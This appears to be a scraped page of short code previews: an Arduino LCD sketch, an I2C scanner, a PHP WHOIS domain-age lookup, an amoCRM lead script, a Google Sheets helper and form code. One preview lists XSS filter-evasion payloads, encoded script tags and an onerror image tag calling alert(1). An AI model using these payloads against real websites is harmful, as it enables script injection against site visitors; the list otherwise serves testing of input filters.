This Javascript will calculate a unique color for any English word typed into it. Currently other alphabets are not supported. Punctuation and white space are ignored.
A Pen by Matt Nicolaysen on CodePen.
| var square = | |
| ` +-+ | |
| | | |
| +-+-+ | |
| | | - | |
| +-+-+`; | |
| var points = []; | |
| var jumpers = []; | |
| var relations = []; | |
| square.split('\n').forEach((line, lineIndex) => { |
This Javascript will calculate a unique color for any English word typed into it. Currently other alphabets are not supported. Punctuation and white space are ignored.
A Pen by Matt Nicolaysen on CodePen.
| <?php | |
| // process form | |
| // respond as HTML with updated state |
| import React, { useState } from 'react'; | |
| export default function App({ data }) { | |
| const [ text, setText ] = useState(data.isChecked); | |
| const [ error, setError ] = useState(null); | |
| const [ isSuccess, setIsSuccess ] = useState(false); | |
| const [ inProgress, setInProgress ] = useState(false); | |
| function submitForm() { | |
| setIsSuccess(false); |
| <script\x20type="text/javascript">javascript:alert(1);</script> | |
| <script\x3Etype="text/javascript">javascript:alert(1);</script> | |
| <script\x0Dtype="text/javascript">javascript:alert(1);</script> | |
| <script\x09type="text/javascript">javascript:alert(1);</script> | |
| <script\x0Ctype="text/javascript">javascript:alert(1);</script> | |
| <script\x2Ftype="text/javascript">javascript:alert(1);</script> | |
| <script\x0Atype="text/javascript">javascript:alert(1);</script> | |
| '`"><\x3Cscript>javascript:alert(1)</script> | |
| '`"><\x00script>javascript:alert(1)</script> | |
| <img src=1 href=1 onerror="javascript:alert(1)"></img> |
| #include <LiquidCrystal_I2C.h> | |
| // Set the LCD address to 0x27 for a 16 chars and 2 line display | |
| LiquidCrystal_I2C lcd(0x3F, 16, 2); | |
| void setup() | |
| { | |
| // initialize the LCD | |
| // lcd.begin(); // Init with pin default ESP8266 or ARDUINO | |
| lcd.begin(0, 2); //ESP8266-01 I2C with pin 0-SDA 2-SCL | |
| // Turn on the blacklight and print a message. |
| // -------------------------------------- | |
| // i2c_scanner | |
| // | |
| // Version 1 | |
| // This program (or code that looks like it) | |
| // can be found in many places. | |
| // For example on the Arduino.cc forum. | |
| // The original author is not know. | |
| // Version 2, Juni 2012, Using Arduino 1.0.1 |
| <?php | |
| $domain = $_GET['domain']; | |
| $w = new DomainAge(); | |
| echo $w->age($domain); | |
| class DomainAge | |
| { | |
| private $WHOIS_SERVERS = array( | |
| "com" => array("whois.verisign-grs.com", "/Creation Date:(.*)/"), | |
| "net" => array("whois.verisign-grs.com", "/Creation Date:(.*)/"), |
| <? | |
| //amo | |
| //ПРЕДОПРЕДЕЛЯЕМЫЕ ПЕРЕМЕННЫЕ | |
| $responsible_user_id = 7292136; //id ответственного по сделке, контакту, компании | |
| $lead_name = 'Заявка с сайта'; //Название добавляемой сделки | |
| $lead_status_id = '11331793'; //id этапа продаж, куда помещать сделку | |
| $contact_name = $cname; //Название добавляемого контакта | |
| $contact_phone = $cphone; //Телефон контакта |
| function createSheetApi(sheetName) { | |
| var doc = SpreadsheetApp.getActiveSpreadsheet(); | |
| var sheet = doc.getSheetByName(sheetName); | |
| var headers = sheet.getRange(1, 1, 1, sheet.getLastColumn()).getValues()[0]; | |
| function mapValues(values) { | |
| var data = {}; | |
| for (var i=0, length=headers.length; i<length; i++) { | |
| data[headers[i]] = values[i]; | |
| } | |
| return data; |